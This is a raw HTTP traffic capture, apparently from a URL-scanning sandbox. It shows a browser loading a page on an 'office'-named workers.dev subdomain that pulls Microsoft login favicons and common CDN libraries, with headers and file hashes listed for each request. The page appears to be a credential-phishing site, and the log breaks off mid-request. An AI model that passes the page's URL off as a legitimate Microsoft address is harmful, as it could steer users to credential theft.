                                         143.204.55.49
HTTP/2 200 OK
content-type: binary/octet-stream
                                        
content-length: 5348
last-modified: Sat, 10 Sep 2022 18:47:45 GMT
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
date: Thu, 29 Sep 2022 05:28:28 GMT
etag: "6113f8408c59aebe188d6af273b90743"
x-cache: Hit from cloudfront
via: 1.1 a2b4f68a89fc87406bff22c95fc07fba.cloudfront.net (CloudFront)
x-amz-cf-pop: OSL50-C1
x-amz-cf-id: Fzdve3Q7J1T-XJvkIWxfz8rVK9In9K8JtjAu7-Qf02SCM2kZy5f51Q==
age: 59221
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    6113f8408c59aebe188d6af273b90743
Sha1:   7398873bf00f99944eaa77ad3ebc0d43c23dba6b
Sha256: b6e0cc9ad68306208a160f3835fb8da76acc5a82d8fde1da5a98e1de1c11a770
                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.117.237.239
HTTP/2 200 OK
content-type: application/json
                                        
server: nginx
date: Thu, 29 Sep 2022 21:55:28 GMT
content-length: 12
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            GET /jquery-3.2.1.slim.min.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Thu, 29 Sep 2022 21:55:28 GMT
content-encoding: gzip
content-length: 23856
last-modified: Fri, 12 Aug 2022 13:47:02 GMT
accept-ranges: bytes
server: nginx
etag: W/"62f659d6-10fdd"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1664488528.dop014.sk1.t,1664488528.cds218.sk1.hn,1664488528.cds235.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (32012)
Size:   23856
Md5:    30f5157a965bc792a83e9bacfe265f03
Sha1:   8330886371fe27f3cbac509e0ac9712207574c66
Sha256: 4d12cab1f84ec2ac780bc8e0d865d9c61025be579c78d6532d76f0574d17fca0
                                        
                                            GET /jquery-3.3.1.min.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Thu, 29 Sep 2022 21:55:28 GMT
content-encoding: gzip
content-length: 30288
last-modified: Fri, 20 Aug 2021 17:47:53 GMT
accept-ranges: bytes
server: nginx
etag: W/"611feac9-1538f"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1664488528.dop231.sk1.t,1664488528.cds247.sk1.hn,1664488528.cds072.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (65451)
Size:   30288
Md5:    d549b312f7a7d228b4ec229a6547dfdc
Sha1:   0766794582ad530ec0f8c2595f741086afffa312
Sha256: f6488b2915e0ceee723f4320492511d46c6ba1860d5975d085e6da8913f55f44
                                        
                                            GET /jquery-3.3.1.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Thu, 29 Sep 2022 21:55:28 GMT
content-encoding: gzip
content-length: 80268
last-modified: Fri, 20 Aug 2021 17:47:53 GMT
accept-ranges: bytes
server: nginx
etag: W/"611feac9-42587"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1664488528.dop014.sk1.t,1664488528.cds218.sk1.hn,1664488528.cds214.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text
Size:   80268
Md5:    9fd458b477c45f28862c10eeee99263f
Sha1:   bcfceda34c540b9957758de619b288362188bb0b
Sha256: ef82ed7916ef7c6cb059d150c8b1e102c57e0e174ea6a1dfbcd0c286c465ba0f
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 29 Sep 2022 21:55:28 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /jquery-3.1.1.min.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Thu, 29 Sep 2022 21:55:28 GMT
content-encoding: gzip
content-length: 30070
last-modified: Fri, 20 Aug 2021 17:47:53 GMT
accept-ranges: bytes
server: nginx
etag: W/"611feac9-152b5"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1664488528.dop231.sk1.t,1664488528.cds247.sk1.hn,1664488528.cds010.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (32030)
Size:   30070
Md5:    f7a4a283c6a5130b43ce8de3b7842078
Sha1:   ef243edbb67f9e50f8589885e4541f6c919ea8d7
Sha256: aee9e5b2534ced87fe1e02a1a9e661468ba548e02edacbe9b68b3b247607dc4e
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 29 Sep 2022 21:55:28 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5140
Cache-Control: 'max-age=158059'
Date: Thu, 29 Sep 2022 21:55:28 GMT
Last-Modified: Thu, 29 Sep 2022 20:29:48 GMT
Server: ECS (ska/F714)
X-Cache: HIT
Content-Length: 279

                                        
                                            GET /ajax/libs/jquery/2.2.4/jquery.min.js HTTP/1.1 
Host: ajax.googleapis.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         216.58.207.234
HTTP/2 200 OK
content-type: text/javascript; charset=UTF-8
                                        
accept-ranges: bytes
vary: Accept-Encoding
content-encoding: gzip
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="hosted-libraries-pushers"
report-to: {"group":"hosted-libraries-pushers","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/hosted-libraries-pushers"}]}
timing-allow-origin: *
content-length: 30028
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Wed, 28 Sep 2022 21:06:53 GMT
expires: Thu, 28 Sep 2023 21:06:53 GMT
cache-control: public, max-age=31536000, stale-while-revalidate=2592000
age: 89315
last-modified: Tue, 03 Mar 2020 19:15:00 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (32065)
Size:   30028
Md5:    6d973c8b7e2439d958e09c0a1ab9fe50
Sha1:   05ae0830200c20b9a2dfd5a825adc400481a60fb
Sha256: f3c122dc227e829ed96b2a754296809201bd78abbad7ba50ef5079654e1cc894
                                        
                                            GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 
Host: aadcdn.msauth.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

                                         
                                         13.107.246.53
HTTP/2 200 OK
content-type: image/x-icon
                                        
cache-control: public, max-age=31536000
content-length: 17174
content-md5: EuPayFgGHQiAI7K9SOL6lg==
last-modified: Sun, 18 Oct 2020 03:02:03 GMT
etag: 0x8D8731230C851A6
server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-cache: TCP_HIT
x-ms-request-id: 81f7ae53-201e-002d-6a35-d2795b000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
access-control-allow-origin: *
x-azure-ref-originshield: 0OaEyYwAAAAAL6EjDZEqvSb8IlrOUQoN6QU1TMDRFREdFMTkxMgAzOWExMmY3ZS04OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
x-azure-ref: 0UBQ2YwAAAADQzYklOlZrQrDnUsaS3d92U1ZHMjBFREdFMDYwNgAzOWExMmY3ZS04OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
date: Thu, 29 Sep 2022 21:55:27 GMT
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors\012- data
Size:   17174
Md5:    12e3dac858061d088023b2bd48e2fa96
Sha1:   e08ce1a144eceae0c3c2ea7a9d6fbc5658f24ce5
Sha256: 90cdaf487716184e4034000935c605d1633926d348116d198f355a98b8c6cd21
                                        
                                            GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 
Host: cdnjs.cloudflare.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         104.17.24.14
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Thu, 29 Sep 2022 21:55:28 GMT
content-length: 6157
access-control-allow-origin: *
cache-control: public, max-age=30672000
content-encoding: br
etag: "5eb03fa9-4af4"
last-modified: Mon, 04 May 2020 16:15:37 GMT
cf-cdnjs-via: cfworker/kv
cross-origin-resource-policy: cross-origin
timing-allow-origin: *
x-content-type-options: nosniff
vary: Accept-Encoding
cf-cache-status: HIT
age: 2432953
expires: Tue, 19 Sep 2023 21:55:28 GMT
accept-ranges: bytes
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vsLRRoYCG%2B8O79kks77U1SFswI5KZCQRJeHLMR6dIG1dpK%2FQhIAd6qZb3i8uPyd7SAcXC8qDT39BSPLygoov7CxwAXBDiDFmlBzqeunaLEg5p9hMNDscNTWe09LBbhj%2FHjwXHCMW"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
strict-transport-security: max-age=15780000
server: cloudflare
cf-ray: 7527f6966e290b06-OSL
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (19015)
Size:   6157
Md5:    7b4114faa411d059a9a5ac4b5b4d9dee
Sha1:   277da4486916fa3a4ab3375f47bc98f58dbf90f6
Sha256: 60b3528de2f7d48cbb335d19dddef756aaacc70f73d4254a2ef17978a14ca0d9
                                        
                                            GET /css?family=Archivo+Narrow&display=swap HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         142.250.74.10
HTTP/2 200 OK
content-type: text/css; charset=utf-8
                                        
access-control-allow-origin: *
timing-allow-origin: *
link: <https://fonts.gstatic.com>; rel=preconnect; crossorigin
strict-transport-security: max-age=31536000
expires: Thu, 29 Sep 2022 21:55:28 GMT
date: Thu, 29 Sep 2022 21:55:28 GMT
cache-control: private, max-age=86400
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin-allow-popups
content-encoding: gzip
server: ESF
x-xss-protection: 0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 29 Sep 2022 21:55:28 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /releases/v5.7.0/css/all.css HTTP/1.1 
Host: use.fontawesome.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         172.64.132.15
HTTP/2 200 OK
content-type: text/css
                                        
date: Thu, 29 Sep 2022 21:55:28 GMT
x-amz-id-2: WKS0hwuPHFToQqMq3z9V/bs3xxraDg9qx24PEwVq/B9Be5wr+bPIXKpA2kmGQoG2w+g68lq53Io=
x-amz-request-id: X7P81RXMDZ8PD9FF
access-control-allow-origin: *
access-control-allow-methods: GET
access-control-max-age: 3000
vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
last-modified: Wed, 30 Jun 2021 15:45:15 GMT
etag: W/"251d28bd755f5269a4531df8a81d5664"
cache-control: max-age=31556926
cf-cache-status: HIT
age: 4620
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dXAy5bTPOOeA%2Fr0ciCG7erwxkWds9RpbJLH3zxogN9E4D5MMPRBf8WeoyEOPjCgvk6%2FkgmV9JKGzUXDrOfi%2F8O3zTMjoAP804tw9%2BAfzIW9vl7uOJFo3RepX4AV08Wah8HGx9eF9"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 7527f6964e2a76b3-LHR
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (54456)
Size:   12424
Md5:    b8e957671eb55c41f13178d5dec64827
Sha1:   bcc9f6b06f99bbe05e093d55c5fff679dd7cbf67
Sha256: 9055643bfad896aa4b95d7a0e29eb9e4976ffefad133942152ac575434a4e120
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5140
Cache-Control: 'max-age=158059'
Date: Thu, 29 Sep 2022 21:55:28 GMT
Last-Modified: Thu, 29 Sep 2022 20:29:48 GMT
Server: ECS (ska/F714)
X-Cache: HIT
Content-Length: 279

                                        
                                            GET /releases/v5.7.0/webfonts/fa-solid-900.woff2 HTTP/1.1 
Host: use.fontawesome.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev
Connection: keep-alive
Referer: https://use.fontawesome.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
TE: trailers

                                         
                                         172.64.132.15
HTTP/2 200 OK
content-type: font/woff2
                                        
date: Thu, 29 Sep 2022 21:55:28 GMT
content-length: 74316
x-amz-id-2: oqi/bvgYFkh/RLHuMxKzJ8FDXuzJAFGj1laTD9FGn7PmuLj5HM++5L9AkwoLdMVUVd4SZdCZON9Xv6RmmCbWTw==
x-amz-request-id: X7PBX2Z8DJS8DDDM
access-control-allow-origin: *
access-control-allow-methods: GET
access-control-max-age: 3000
vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
last-modified: Wed, 30 Jun 2021 15:45:37 GMT
etag: "52134b924fd61958f88323845deffc64"
cache-control: max-age=31556926
cf-cache-status: HIT
age: 4620
accept-ranges: bytes
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SLLqSroSImfHtb%2FRz0TaRpC%2BAqGTaSQObSvEEXJSZQ%2F%2BZWzRHPj56zwEhkYib1m%2FZtGMnZCraQcbsXuFnN2j%2Bj%2FEFOwIQe6fo7hwwM16oQTVxr9FLEONHn4kohGOIoVWfrZHD%2FU0"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 7527f697980876b3-LHR
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 74316, version 329.30932\012- data
Size:   74316
Md5:    52134b924fd61958f88323845deffc64
Sha1:   cfccdf2c8be593220ea949989a5abc0b380ea2ac
Sha256: 658cf43db24e9d4c57890e958aa74656a13139754de24f19e706f0a355279e4d
                                        
                                            GET /v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         143.204.55.35
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 329
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: ETag, Expires, Content-Length, Cache-Control, Pragma, Content-Type, Alert, Backoff, Last-Modified, Retry-After
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Last-Modified: Fri, 25 Mar 2022 17:45:46 GMT
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
Cache-Control: max-age=3600, max-age=3600
Date: Thu, 29 Sep 2022 21:29:33 GMT
Expires: Thu, 29 Sep 2022 21:32:08 GMT
ETag: "1648230346554"
X-Cache: Hit from cloudfront
Via: 1.1 71c98156ae29b36a903974f9dd2568f8.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-C1
X-Amz-Cf-Id: ADPDEoKTx-adz0XGOC4MTReBHb1j2SW8IczlacN_IZXh8eAUMWLeyg==
Age: 1555


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (329), with no line terminators
Size:   329
Md5:    0333b0655111aa68de771adfcc4db243
Sha1:   63f295a144ac87a7c8e23417626724eeca68a7eb
Sha256: 60636eb1dc67c9ed000fe0b49f03777ad6f549cb1d2b9ff010cf198465ae6300
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 2806
Cache-Control: 'max-age=158059'
Date: Thu, 29 Sep 2022 21:55:28 GMT
Last-Modified: Thu, 29 Sep 2022 21:08:42 GMT
Server: ECS (ska/F714)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico?v=BUILD_HASH HTTP/1.1 
Host: aadcdn.msauth.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

                                         
                                         13.107.246.53
HTTP/2 200 OK
content-type: image/x-icon
                                        
cache-control: public, max-age=604800
content-length: 17174
content-md5: EuPayFgGHQiAI7K9SOL6lg==
last-modified: Fri, 02 Nov 2018 20:25:25 GMT
etag: 0x8D6410152A9D7E1
server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-cache: TCP_MISS
x-ms-request-id: e519fed4-101e-0062-424e-d42355000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
access-control-allow-origin: *
x-azure-ref-originshield: 0UBQ2YwAAAABad1P6aCCXTbbgz5O4t1LZQU1TMDRFREdFMTkxMgAzOWExMmY3ZS04OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
x-azure-ref: 0UBQ2YwAAAAB5fn0TMxijTZniWDCGFsCBU1ZHMjBFREdFMDYwNgAzOWExMmY3ZS04OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
date: Thu, 29 Sep 2022 21:55:28 GMT
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors\012- data
Size:   17174
Md5:    12e3dac858061d088023b2bd48e2fa96
Sha1:   e08ce1a144eceae0c3c2ea7a9d6fbc5658f24ce5
Sha256: 90cdaf487716184e4034000935c605d1633926d348116d198f355a98b8c6cd21
                                        
                                            GET /4ecc10d9e8e446e3c7ef27358838f287.jpg HTTP/1.1 
Host: i.gyazo.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://office2ba26c936161df9a60ce20211f793266211c4e3be87fdae87bf4d3c4b.softmail3.workers.dev/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         172.64.151.252
HTTP/2 200 OK
content-type: image/jpeg
                                        
date: Thu, 29 Sep 2022 21:55:29 GMT
content-length: 106132
cf-ray: 7527f6979b011c0a-OSL
accept-ranges: bytes
access-control-allow-origin: https://gyazo.com
cache-control: public, max-age=31536000
etag: "4ecc"
expires: Fri, 29 Sep 2023 21:55:28 GMT
set-cookie: Gyazo_cfwoker=i; Secure; HttpOnly; SameSite=None; Expires=Tue, 01 Jan 2030 00:00:00 GMT
vary: Accept-Encoding
via: 1.1 google
cf-cache-status: HIT
access-control-allow-credentials: true
cf-bgj: h2pri
x-cache-level: ZS
server: cloudflare
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, orientation=upper-left], baseline, precision 8, 1913x924, components 3\012- data
Size:   106132
Md5:    4ecc10d9e8e446e3c7ef27358838f287
Sha1:   3fd42d331a354574cb979b6d850abf8ca4240f63
Sha256: 14d3ed99ff2871f7ba1487ed93d66144b3855eff07858fb3c3dad23deb0940fa
                                        
                                            GET / HTTP/1.1 
